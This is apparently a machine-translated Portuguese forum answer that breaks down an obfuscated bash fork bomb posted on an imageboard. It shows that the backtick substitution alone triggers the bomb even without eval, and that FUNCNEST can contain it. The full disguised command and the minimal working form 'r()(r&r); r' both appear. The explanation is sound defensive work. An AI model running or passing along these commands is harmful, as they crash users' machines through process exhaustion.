Primeiro, vamos olhar para o comando inteiro:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Ele contém uma sequência de aspas duplas que é ecoada uudecode
. Mas observe que, dentro da cadeia de caracteres entre aspas duplas, existe uma cadeia de aspas . Esta cadeia é executada . A cadeia é:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Se olharmos para o que está nele, vemos três comandos:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Executando expansão de chave no comando do meio, temos:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
A primeira linha tenta executar um comando sem sentido em segundo plano. Isso não é importante.
A segunda linha é importante: define uma função r
que, quando executada, lança duas cópias de si mesma. É claro que cada uma dessas cópias lançaria mais duas cópias. E assim por diante.
A terceira linha corre r
, iniciando a bomba do garfo.
O restante do código, fora da sequência de aspas anteriores, é apenas um absurdo para ofuscação.
Como executar o comando com segurança
Esse código pode ser executado com segurança se definirmos o limite no nível de aninhamento de funções. Isso pode ser feito com a FUNCNEST
variável do bash . Aqui, configuramos para 2
e isso interrompe a recursão:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
As mensagens de erro acima mostram que (a) os comandos sem sentido rYWdl
e Y29j
não são encontrados, (b) a bomba de forqueta é interrompida repetidamente pelo FUNCNEST e (c) a saída de echo
não inicia com begin
e, consequentemente, não é uma entrada válida para uudecode
.
A bomba dos garfos na sua forma mais simples
Como seria a bomba dos garfos se removêssemos a obscuridade? Como o njzk2 e o gerrit sugerem, seria semelhante a:
echo "`r()(r&r);r`"
Podemos simplificar ainda mais isso:
r()(r&r); r
Isso consiste em duas declarações: uma define a função fork-bomb r
e a segunda é executada r
.
Todo o outro código, incluindo o canal para uudecode
, estava lá apenas por obscurecimento e desvio de direção.
A forma original tinha mais uma camada de orientação incorreta
O OP forneceu um link para a discussão do quadro de canais em que esse código apareceu. Conforme apresentado lá, o código parecia:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Observe um dos primeiros comentários sobre esse código:
Eu me apaixonei por isso. Copiei apenas a parte que ecoa e decodifica, mas ainda é transferida
No formulário no quadro do canal, alguém poderia pensar ingenuamente que o problema seria a eval
declaração que opera na saída de uudecode
. Isso levaria a pensar que a remoção eval
resolveria o problema. Como vimos acima, isso é falso e perigosamente verdadeiro.